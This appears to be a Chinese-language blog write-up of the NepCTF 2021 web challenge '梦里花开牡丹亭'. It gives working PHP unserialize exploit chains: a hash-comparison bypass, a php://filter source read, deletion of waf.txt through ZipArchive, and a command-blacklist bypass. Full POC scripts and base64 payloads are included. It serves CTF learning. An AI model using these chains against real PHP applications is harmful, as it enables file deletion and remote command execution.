[NepCTF 2021]梦里花开牡丹亭

[NepCTF 2021]梦里花开牡丹亭

进入题目,给出源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

这是一道反序列化题目,但是前面加了一个简单的PHP特性。

数组绕过哈希比较

由于md5()sha1()函数都无法处理数组,因此传入一个数组会返回false。因此这里可以绕过需要两个不同的数但是其哈希值要相等。

example:

image-20210806214635799

利用php://filter读文件

我们可以看到Open类里面的open()方法,当waf.txt文件存在的时候会执行echo file_get_contents($filename.".php");,而调用这个类方法是在Login类里面的checking()方法,

而调用Login类的checking()方法的是Game类里面的__destruct()内置方法,因此我们就能够找到一条完整的利用链了,POC:

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{

}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));

得到:

Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1zaGVsbCI7czo3OiJjb250ZW50IjtzOjM6Inh4eCI7fQ==

执行payload读取到shell.php的源码base64编码:

image-20210806223349363

shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

利用ZipArchive类删除文件

联合index.php里面的Open类:

class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}

可知我们只要使 file_get_contents('waf.txt') 读取失败就可以进入 shell($content) 来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除,这样就会读取失败,才能执行我们的命令。

刚好我们的ZipArchive类里面也有一个open()方法,

ZipArchive::open($filename, $flags = null)

如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。

所以我们利用ZipArchive原生类调用open方法,即可将即可将$filename(waf.txt)删除:

<?php
// highlight_file(__FILE__);
error_reporting(-1);
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

}
class login{
    public $file;
    public $filename;
    public $content;
}

class Open{
}

$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = 8;
echo base64_encode(serialize($poc));

?>

得到payload:

Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=

执行之后即可删除waf.txt。注意我这里在本地复现的时候需要把目录文件夹的所有权和分组都给到www-data才能成功删除文件

命令执行绕过黑名单和字符数限制

最后一步就是执行我们的命令去读flag,回过头来看我们的shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

这里首先限制了我们的命令长度要小于10个字符,然后字符里面不能有黑名单字符出现,这里我们绕过的方法很多,举个例:

n\l /flag

POC:

<?php
// highlight_file(__FILE__);
error_reporting(-1);
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

}
class login{
    public $file;
    public $filename;
    public $content;
}

class Open{
}

$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));

?>

得到payload:

Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6MzoieHh4IjtzOjc6ImNvbnRlbnQiO3M6OToiblxsIC9mbGFnIjt9
image-20210807220803196

参考资料

2021 NepCTF 个人赛 WEB Writeup

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇